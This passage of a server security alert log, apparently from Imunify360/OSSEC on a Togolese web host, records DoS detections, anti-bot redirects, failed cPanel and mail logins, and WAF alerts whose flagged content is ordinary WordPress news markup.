name: Enhanced DoS detection
abuser: 192.29.39.134
country_id: 1861060
description:
Denial of Service (DoS) attack was discovered from 192.29.39.134: 250 connections per 30 seconds to 53 port.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 79.108.230.88
country_id: 2510769
description:
79.108.230.88 - - [22/Jun/2026:18:07:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6461853&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782151636 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.3659.1671 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:79.108.230.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:18:06:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738136&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782151613 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:18:06:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9606804&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782151612 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 112.215.45.244
country_id: 1643084
description:
112.215.45.244 - - [22/Jun/2026:18:07:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10052507&pdata=https%253A%252F%252Fucao-uut.tg%252Fcontact%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782151661 HTTP/2.0" 302 0 ucao-uut.tg "https://ucao-uut.tg/contact/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:112.215.45.244


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.82.68.78
country_id: 1819730
description:
2026-06-22 18:08:49 dovecot_plain authenticator failed for H=(qcm9urq6ek1sjgfsun5pk6wuzf) [47.82.68.78]:40995: 535 Incorrect authentication data (set_id=ptitrikou@mesyscom.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 18:12:20 +0000] info [cpaneld] 141.95.93.31 - kidsedunetmaster "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kidsedunetmaster (has_cpuser_file failed)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>le togo franchit un nouveau dans la modernisation de ses infrastructures et la transition \xc3\xa9cologique. le vendredi 19 juin, le ministre de l\xe2\x80\x99am\xc3\xa9nagement du territoire et de l\xe2\x80\x99urbanisme, kodjo adedze, a officiellement inaugur\xc3\xa9 une usine de pr\xc3\xa9fabrication de tuyaux bas carbone au sein de la plateforme industrielle d\xe2\x80\x99ad\xc3\xa9tikop\xc3\xa9 (pia).</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>implant\xc3\xa9e strat\xc3\xa9giquement \xc3\xa0 ad\xc3\xa9tikop\xc3\xa9, cette nouvelle unit\xc3\xa9 de production constitue, en effet, un maillon essentiel du projet raine (r\xc3\xa9seau d\xe2\x80\x99assainissement par intercepteurs pour la non-inondation de nos espaces).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>d\xc3\xa9di\xc3\xa9e \xc3\xa0 la fabrication de mat\xc3\xa9riaux \xc3\xa0 faible empreinte carbone, l'usine va fournir des \xc3\xa9quipements de pointe indispensables pour non seulement les grands r\xc3\xa9seaux d\xe2\x80\x99assainissement collectif, mais aussi pour l\xe2\x80\x99adduction d\xe2\x80\x99eau potable et les projets d\xe2\x80\x99am\xc3\xa9nagement urbain durables.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31402,\"sizeslug\":\"full\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-full\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/otr_bandeau-renseignements.jpg\" alt=\"\" class=\"wp-image-31402\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>l\xe2\x80\x99objectif principal de l'\xc3\x89tat togolais est clair : stimuler une production locale et durable capable de r\xc3\xa9pondre aux besoins des grands chantiers nationaux, tout en r\xc3\xa9duisant drastiquement la d\xc3\xa9pendance du pays aux importations de mat\xc3\xa9riaux de construction.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>des chiffres cl\xc3\xa9s impressionnants pour la premi\xc3\xa8re ann\xc3\xa9e</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>l'impact industriel et \xc3\xa9cologique de cette usine se mesure d\xc3\xa9j\xc3\xa0 \xc3\xa0 travers des objectifs de production massifs. lors de son allocution, le ministre en charge de l\xe2\x80\x99eau et de l'assainissement, s\xc3\xa9na alipui, a d\xc3\xa9voil\xc3\xa9 les ambitions de la premi\xc3\xa8re ann\xc3\xa9e d\xe2\x80\x99exploitation.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\xc2\xab&nbsp;<em>cette infrastructure permettra de produire, d\xc3\xa8s sa premi\xc3\xa8re ann\xc3\xa9e d\xe2\x80\x99exploitation, plus de 2200 tuyaux de fon\xc3\xa7age de diam\xc3\xa8tre 2000 millim\xc3\xa8tres destin\xc3\xa9s aux intercepteurs du projet raine. plus de 1400 tonnes d\xe2\x80\x99acier y seront transform\xc3\xa9es et pr\xc3\xa8s de 10.000 m\xc3\xa8tres cubes de b\xc3\xa9ton bas carbone seront fabriqu\xc3\xa9s directement sur le site</em>&nbsp;\xc2\xbb, a-t-il expliqu\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>&nbsp;un levier \xc3\xa9conomique, social et \xc3\xa9cologique pour le togo</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>au-del\xc3\xa0 de la simple performance technique, cette usine s\xe2\x80\x99inscrit dans la vision de d\xc3\xa9veloppement inclusif port\xc3\xa9e par l\xe2\x80\x99ex\xc3\xa9cutif togolais. en favorisant le savoir-faire local, le projet va g\xc3\xa9n\xc3\xa9rer de nombreux b\xc3\xa9n\xc3\xa9fices transversaux. car, souligne-t-on, <em>\xc2\xab l\xe2\x80\x99ambition, \xc3\xa0 terme, est de consolider une industrie nationale comp\xc3\xa9titive, capable d\xe2\x80\x99accompagner les grands projets d\xe2\x80\x99am\xc3\xa9nagement, d\xe2\x80\x99assainissement et de lutte contre les inondations, tout en int\xc3\xa9grant les exigences de la transition \xc3\xa9cologique. \xc2\xbb</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31146,\"width\":\"622px\",\"height\":\"auto\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/image-30-724x1024.png\" alt=\"\" class=\"wp-image-31146\" style=\"width:622px;height:auto\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>notons qu\xe2\x80\x99avec cette inauguration, le togo prouve qu'il est possible de conjuguer industrialisation rapide, lutte contre les inondations et respect des engagements climatiques. une avanc\xc3\xa9e majeure pour le bien-\xc3\xaatre des populations et la r\xc3\xa9silience urbaine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>mab\xc3\xa9 b.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 18:15:01 +0000] info [cpaneld] 141.95.93.31 - yvwaocrr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yvwaocrr (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 31.134.5.120
country_id: 241170
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:18-14.31.134.5.120||RSV:8.19||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 198.142.152.5
country_id: 2077456
description:
Denial of Service (DoS) attack was discovered from 198.142.152.5: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 198.142.152.6
country_id: 2077456
description:
Denial of Service (DoS) attack was discovered from 198.142.152.6: 80 connections per 30 seconds to 53 port.


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 161.123.54.25
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:18-18.161.123.54.25||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 31.59.24.133
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:18-18.31.59.24.133||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:18:19:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10012572&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782152386 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:18:19:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6579399&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782152387 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 92.153.161.25
country_id: 3017382
description:
92.153.161.25 - - [22/Jun/2026:18:20:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7104873&pdata=https%253A%252F%252F24heureinfo.tg%252Finternational%252Fnetanyahou-nous-sommes-le-peuple-de-la-lumiere-nous-realiserons-la-prophetie-disaie%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782152400 HTTP/2.0" 302 0 24heureinfo.tg "https://www.google.tg/" "Mozilla/5.0 (Linux; Android 9; SM-S901B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:92.153.161.25


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 208.67.219.139
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 208.67.219.139: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 208.67.219.140
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 208.67.219.140: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 208.67.219.141
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 208.67.219.141: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 208.67.219.132
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 208.67.219.132: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 192.29.67.73
country_id: 6251999
description:
Denial of Service (DoS) attack was discovered from 192.29.67.73: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 208.67.219.136
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 208.67.219.136: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 208.67.219.135
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 208.67.219.135: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 208.67.219.130
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 208.67.219.130: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 208.67.219.131
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 208.67.219.131: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 154.21.239.154
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 154.21.239.154: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 18:22:12 +0000] info [cpaneld] 141.95.93.31 - dev03 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dev03 (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 154.21.239.66
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 154.21.239.66: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 31.57.184.20
country_id: 6252001
description:
31.57.184.20 - - [22/Jun/2026:18:26:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6515311&pdata=https%253A%252F%252Fdany2.mairie.tg%252Fwp-admin%252Fadmin.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782152783 HTTP/2.0" 302 0 dany2.mairie.tg "https://dany2.mairie.tg/wp-admin/admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:31.57.184.20


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.112.237
country_id: 1880251
description:
47.128.112.237 - - [22/Jun/2026:18:29:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10248598&pdata=https%253A%252F%252Fcivilemagazine.tg%252Ftogo-resultat-concours-lycees-scientifiques%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782152972 HTTP/2.0" 302 0 civilemagazine.tg "https://civilemagazine.tg/togo-resultat-concours-lycees-scientifiques/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.112.237


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 178.205.50.105
country_id: 2017370
description:
2026-06-22 18:31:39 H=([178.205.50.105]) [178.205.50.105]:15426 F=<home@white-ways.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.159.48
country_id: 1880251
description:
104.28.159.48 - - [22/Jun/2026:18:31:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7235731&pdata=https%253A%252F%252Fucao-uut.tg%252Fcontact%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782153098 HTTP/2.0" 302 0 ucao-uut.tg "https://ucao-uut.tg/contact/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.159.48


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 103.227.66.245
country_id: 2077456
description:
Denial of Service (DoS) attack was discovered from 103.227.66.245: 80 connections per 30 seconds to 53 port.


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>depuis le jeudi 18 juin, la capitale togolaise abrite une quinzaine r\xc3\xa9gionale d\xc3\xa9di\xc3\xa9e au commerce transfrontalier \xc3\xa0 petite \xc3\xa9chelle. cet \xc3\xa9v\xc3\xa9nement enti\xc3\xa8rement consacr\xc3\xa9 aux femmes commer\xc3\xa7antes de l\xe2\x80\x99espace cedeao, constitue une bonne occasion pour capitaliser les exp\xc3\xa9riences issues des campagnes de sensibilisation men\xc3\xa9es sur plusieurs corridors de la communaut\xc3\xa9\xe2\x80\xa6.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>organis\xc3\xa9e par le centre de la cedeao pour le d\xc3\xa9veloppement du genre, cette initiative majeure ambitionne de transformer le quotidien des micro-entrepreneuses et de b\xc3\xa2tir un commerce transfrontalier plus inclusif, s\xc3\xa9curis\xc3\xa9 et structur\xc3\xa9 en afrique de l'ouest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>ainsi, pendant pr\xc3\xa8s de deux semaines, cette rencontre va servir de pont entre les diff\xc3\xa9rentes forces vives du commerce r\xc3\xa9gional. ceci avec pour objectif de cr\xc3\xa9er une synergie forte entre les administrations douani\xc3\xa8res et les forces de s\xc3\xa9curit\xc3\xa9, mais \xc3\xa9galement entre les collectivit\xc3\xa9s locales et les organisations f\xc3\xa9minines de commer\xc3\xa7antes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31402,\"sizeslug\":\"full\",\"linkdestination\":\"none\"} -->\n<figure class=\"wp-block-image size-full\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/otr_bandeau-renseignements.jpg\" alt=\"\" class=\"wp-image-31402\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>\xc3\x80 travers des espaces d\xe2\x80\x99\xc3\xa9changes, de sensibilisation et d\xe2\x80\x99exposition, l'\xc3\xa9v\xc3\xa9nement permettra aux participantes de mieux s'approprier les textes communautaires de la cedeao, tout en offrant une vitrine exceptionnelle pour valoriser leurs produits.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>ce rendez-vous, loin d'\xc3\xaatre un simple espace de discussion, est un laboratoire de solutions. il va permettre de capitaliser sur les exp\xc3\xa9riences des campagnes de sensibilisation men\xc3\xa9es sur plusieurs corridors d'afrique de l'ouest dans l\xe2\x80\x99optique de lever les goulots d'\xc3\xa9tranglement aux postes frontaliers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>pr\xc3\xa9sent \xc3\xa0 l'ouverture de l'\xc3\xa9v\xc3\xa9nement, le ministre de l\xe2\x80\x99\xc3\x89conomie et de la veille strat\xc3\xa9gique du togo, badanam patoki, a rappel\xc3\xa9 l'esprit de cette initiative avec force. <em>\xc2\xab les fronti\xc3\xa8res de notre r\xc3\xa9gion ne doivent plus devenir des barri\xc3\xa8res, mais des leviers de d\xc3\xa9veloppement, d\xe2\x80\x99int\xc3\xa9gration et de prosp\xc3\xa9rit\xc3\xa9 partag\xc3\xa9e. \xc2\xbb,</em> a-t-il soulign\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31146,\"width\":\"622px\",\"height\":\"auto\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/image-30-724x1024.png\" alt=\"\" class=\"wp-image-31146\" style=\"width:622px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>profitant de cette tribune, l\xe2\x80\x99officiel a mis en avant les efforts constants du gouvernement togolais en faveur de l'\xc3\xa9galit\xc3\xa9 des chances. qu'il s'agisse de politiques publiques audacieuses, de m\xc3\xa9canismes de financement inclusifs ou de programmes d\xe2\x80\x99accompagnement de l\xe2\x80\x99entrepreneuriat f\xc3\xa9minin, le togo r\xc3\xa9affirme sa volont\xc3\xa9 de placer les femmes au c\xc5\x93ur de la croissance \xc3\xa9conomique sous-r\xc3\xa9gionale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>jpb</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:18:36:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13092241&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782153355 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:18:36:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7118232&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782153358 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 5.255.124.175
country_id: 2750405
description:
Denial of Service (DoS) attack was discovered from 5.255.124.175: 80 connections per 30 seconds to 80 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.170.29.120
country_id: 2363686
description:
[2026-06-22 18:40:22 +0000] info [webmaild] 196.170.29.120 - emt@emt.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.152.28.227
country_id: 3469034
description:
Jun 22 18:40:05 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.152.28.227 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 87.142.50.64
country_id: 2921044
description:
87.142.50.64 - - [22/Jun/2026:18:41:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13343382&pdata=https%253A%252F%252Fcfpj.tg%252Fcnrw-104035xetid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782153668 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/cnrw-104035xetid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:87.142.50.64


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 154.110.102.20
country_id: 2464461
description:
[2026-06-22 18:42:07 +0000] info [whostmgrd] 154.110.102.20 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 154.110.102.20
country_id: 2464461
description:
[2026-06-22 18:42:08 +0000] info [whostmgrd] 154.110.102.20 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 181.62.53.42
country_id: 3686110
description:
181.62.53.42 - - [22/Jun/2026:18:44:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9605829&pdata=https%253A%252F%252Fortouche.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782153859 HTTP/2.0" 302 0 ortouche.com "https://ortouche.com/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.8148.1875 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:181.62.53.42


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.113
country_id: 1880251
description:
47.128.121.113 - - [22/Jun/2026:18:43:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12741015&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Fset-greve%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782153834 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/set-greve/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.113


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
